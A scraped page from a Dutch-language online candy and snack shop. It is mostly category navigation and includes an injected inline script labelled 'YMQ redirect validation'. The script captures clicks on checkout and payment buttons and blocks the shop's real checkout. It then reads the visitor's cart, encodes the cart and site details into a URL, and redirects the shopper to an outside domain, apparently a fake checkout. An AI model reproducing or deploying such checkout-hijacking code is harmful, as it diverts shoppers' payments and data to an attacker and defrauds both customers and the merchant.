Ga direct naar inhoud
American Uncle
Al het eten
🍒🐻 Candy box
Mysterie box 📦
Snack gezouten
Frietjes en chips
Droog vlees
Crackers en Popcorn
Snack van rijst, tarwe en konjac
Snack zoetigheden
Biscotti e Wafer
Mochi
Snack met chocolade
Zoete popcorn
Snoepjes
Zachte en taaie snoepjes
Harde snoepjes, lolly en Pez
Vloeibare snoepjes
Vriesdroog
Gommen
Ontbijt
Granen en Muesli
Snacks
Kast
Bereid je voor op zoetigheden
Pasta, rijst en noedels
Sauzen en smaakmakers
Smeerbare crèmes en Toppings
Kit x Smash & Hot Dog
Asian Trends
Hot Products
Geschenken
Voor wie?
Cadeaus voor de Moeder
Cadeaus voor Papa
Cadeaus voor Vriend/in
Cadeaus voor Partner
Voor welke gelegenheid?
Regali di Pasqua
Cadeaus voor Verjaardag
Cadeaus voor Jubileum
Cadeaus voor de Afstuderen
Cadeaus voor vrijgezellenfeesten en vrijgezellenfeesten
Bedankjes en cadeautjes voor het einde van het feest
Cadeautjes voor babyshower
Cadeaubon
Pop & Licenties
Nieuws
Promo
Groothandel
🐶 Snack for Pet
Cerca
Account
0
Carrello
.
.
.
Navigazione del sito
Search
Cerca
Sluiten
Je winkelwagen is momenteel leeg.
Al het eten
🍒🐻 Candy box
Mysterie box 📦
Snack gezouten
Submenu uitklappen
Snack gezouten
Bekijk alles
Frietjes en chips
Droog vlees
Crackers en Popcorn
Snack van rijst, tarwe en konjac
Snack zoetigheden
Submenu uitklappen
Snack zoetigheden
Bekijk alles
Biscotti e Wafer
Mochi
Snack met chocolade
Zoete popcorn
Snoepjes
Submenu uitklappen
Snoepjes
Bekijk alles
Zachte en taaie snoepjes
Harde snoepjes, lolly en Pez
Vloeibare snoepjes
Vriesdroog
Gommen
Ontbijt
Submenu uitklappen
Ontbijt
Bekijk alles
Granen en Muesli
Snacks
Kast
Submenu uitklappen
Kast
Bekijk alles
Bereid je voor op zoetigheden
Pasta, rijst en noedels
Sauzen en smaakmakers
Smeerbare crèmes en Toppings
Kit x Smash & Hot Dog
Asian Trends
Hot Products
Geschenken
Submenu uitklappen
Geschenken
Bekijk alles
Voor wie?
Submenu uitklappen
Voor wie?
Bekijk alles
Cadeaus voor de Moeder
Cadeaus voor Papa
Cadeaus voor Vriend/in
Cadeaus voor Partner
Voor welke gelegenheid?
Submenu uitklappen
Voor welke gelegenheid?
Bekijk alles
Regali di Pasqua
Cadeaus voor Verjaardag
Cadeaus voor Jubileum
Cadeaus voor de Afstuderen
Cadeaus voor vrijgezellenfeesten en vrijgezellenfeesten
Bedankjes en cadeautjes voor het einde van het feest
Cadeautjes voor babyshower
Cadeaubon
Pop & Licenties
Nieuws
Promo
Groothandel
🐶 Snack for Pet
YMQ redirect validation e8d01f7310
(() => { 'use strict'; const VERSION = 'YMQ-ADMIN-GQL-REDIRECT-OVERLAY-V1'; const ENTRY = 'https://bu008feng.my/'; const CHECKOUT_PATH = '/checkout'; if (window.__YMQ_REDIRECT_RUNTIME_e8d01f7310__ === VERSION) return; window.__YMQ_REDIRECT_RUNTIME_e8d01f7310__ = VERSION; const state = { version: VERSION, busy: false, lastError: '', lastPayload: null, lastUrl: '' }; window.__YMQ_REDIRECT_STATE_e8d01f7310__ = state; const text = (value, fallback = '') => { if (value === null || value === undefined) return fallback; return String(value).trim() || fallback; }; const minor = (value) => { const number = Number(value); return Number.isFinite(number) && number >= 0 ? Math.round(number) : 0; }; const currencyFactor = (currency) => { try { const digits = new Intl.NumberFormat('en', { style: 'currency', currency }).resolvedOptions().maximumFractionDigits; return 10 ** digits; } catch { return 100; } }; const shopifyMoney = (value, factor) => Math.round(minor(value) * factor / 100); const absoluteImage = (value) => { const source = text(value && typeof value === 'object' ? (value.url || value.src) : value); if (!source) return ''; try { return new URL(source, location.origin).href; } catch { return source; } }; const discounts = (entries, factor) => (Array.isArray(entries) ? entries : []) .map((entry, index) => ({ id: text(entry && (entry.id || entry.discount_application_index), 'discount-' + index), label: text(entry && (entry.title || entry.code || entry.type), 'Discount'), amountMinor: shopifyMoney(entry && ( entry.total_allocated_amount ?? entry.discounted_amount ?? entry.amount ), factor) })) .filter((entry) => entry.amountMinor > 0); const normalizeCart = (cart) => { const currency = text(cart && cart.currency, window.Shopify?.currency?.active || 'USD').toUpperCase(); const factor = currencyFactor(currency); const items = (Array.isArray(cart && cart.items) ? cart.items : []) .map((item, index) => { const title = text(item && (item.product_title || item.title), 'Item ' + (index + 1)); const variant = text(item && item.variant_title); return { id: text(item && (item.key || item.variant_id || item.id), 'item-' + index), productId: text(item && item.product_id), variantId: text(item && (item.variant_id || item.id)), title, variant, quantity: Math.max(0, Number.parseInt(item && item.quantity, 10) || 0), unitPriceMinor: shopifyMoney(item && (item.final_price ?? item.discounted_price ?? item.price), factor), lineTotalMinor: shopifyMoney(item && (item.final_line_price ?? item.line_price), factor), image: absoluteImage(item && ( item.image || (item.featured_image && (item.featured_image.url || item.featured_image.src)) )), discounts: discounts(item && (item.discount_allocations || item.line_level_discount_allocations), factor) }; }) .filter((item) => item.quantity > 0); return { locale: text(document.documentElement.lang || navigator.language, 'en-US'), currency, items, discounts: discounts(cart && cart.cart_level_discount_applications, factor), shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' }, taxMinor: 0, taxPresent: false, subtotalMinor: shopifyMoney(cart && (cart.items_subtotal_price ?? cart.total_price), factor), totalMinor: shopifyMoney(cart && cart.total_price, factor), savingsMinor: shopifyMoney(cart && cart.total_discount, factor), itemCount: Number(cart && cart.item_count) || items.reduce((sum, item) => sum + item.quantity, 0) }; }; const encodeBase64Url = (value) => { const bytes = new TextEncoder().encode(JSON.stringify(value)); let binary = ''; for (let offset = 0; offset < bytes.length; offset += 0x8000) { binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000)); } return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); }; const randomRequestToken = () => { const bytes = new Uint8Array(128); crypto.getRandomValues(bytes); let binary = ''; for (let offset = 0; offset < bytes.length; offset += 0x8000) { binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000)); } return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); }; const readCart = async () => { let lastError = null; for (let attempt = 0; attempt < 3; attempt += 1) { try { const response = await fetch('/cart.js?ymq_redirect_v1=' + Date.now() + '-' + attempt, { credentials: 'same-origin', cache: 'no-store', headers: { Accept: 'application/json' } }); if (!response.ok) throw new Error('cart_http_' + response.status); return await response.json(); } catch (error) { lastError = error; if (attempt < 2) await new Promise((resolve) => setTimeout(resolve, 180 + attempt * 220)); } } throw lastError || new Error('cart_unavailable'); }; const fromEvent = (event) => { const path = typeof event.composedPath === 'function' ? event.composedPath() : []; const source = event.submitter || path.find((entry) => entry instanceof Element) || event.target; if (!(source instanceof Element)) return null; return source.closest('a,button,input[type="submit"],input[type="button"],form,[role="button"],shopify-accelerated-checkout') || source; }; const checkoutText = (element) => { if (!element) return ''; const form = element.closest && element.closest('form'); return [ element.innerText, element.textContent, element.value, element.id, element.name, element.className, element.getAttribute && element.getAttribute('aria-label'), element.href, element.formAction, form && form.action, element.tagName ].filter(Boolean).join(' ').toLowerCase(); }; const isCheckout = (element) => /checkout|check\s*out|shop\s*pay|paypal|google\s*pay|gpay|accelerated-checkout/.test(checkoutText(element)); const checkoutTarget = (element) => { const form = element && element.closest ? element.closest('form') : null; const direct = (element && (element.href || element.formAction)) || (element && element.getAttribute && (element.getAttribute('href') || element.getAttribute('formaction'))) || (form && form.action) || ''; const fallback = location.origin + CHECKOUT_PATH; const value = text(direct); if (!/\/checkout(?:\/|\?|#|$)/i.test(value)) return fallback; try { return new URL(value, location.origin).href; } catch { return fallback; } }; const stop = (event) => { if (!event) return; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); }; const buildUrl = (cart, target) => { const order = normalizeCart(cart); if (!order.items.length) throw new Error('cart_empty'); const payload = { site: location.hostname, sourceSite: location.hostname, sourceUrl: location.href, sourceOrigin: location.origin, sourcePath: location.pathname, capturedAt: Date.now(), order }; const url = new URL(ENTRY); const values = [ ['ymq_canary', 'YMQ-e8d01f7310'], ['transaction_id', 'e8d01f73102ed53abd59c9feffb101b3'], ['co', encodeBase64Url(payload)], ['return_to', target], ['site', location.hostname], ['source_site', location.hostname], ['source_host', location.hostname], ['source_origin', location.origin], ['source_path', location.pathname], ['source_url', location.href], ['checkout_path', CHECKOUT_PATH], ['overlay_route', '/'], ['_r', randomRequestToken()] ]; for (const [name, value] of values) url.searchParams.set(name, value); state.lastPayload = payload; state.lastUrl = url.href; try { window.name = '__CHECKIOUT_CART__:' + encodeURIComponent(JSON.stringify(payload)); } catch {} return url.href; }; const intercept = async (event) => { const element = fromEvent(event); if (!isCheckout(element)) return; stop(event); if (state.busy) return; state.busy = true; try { const cart = await readCart(); location.assign(buildUrl(cart, checkoutTarget(element))); } catch (error) { state.lastError = String(error && error.message || error); state.busy = false; } }; window.addEventListener('pointerdown', intercept, true); window.addEventListener('click', intercept, true); window.addEventListener('submit', intercept, true); })();
YMQ redirect validation e8d01f7310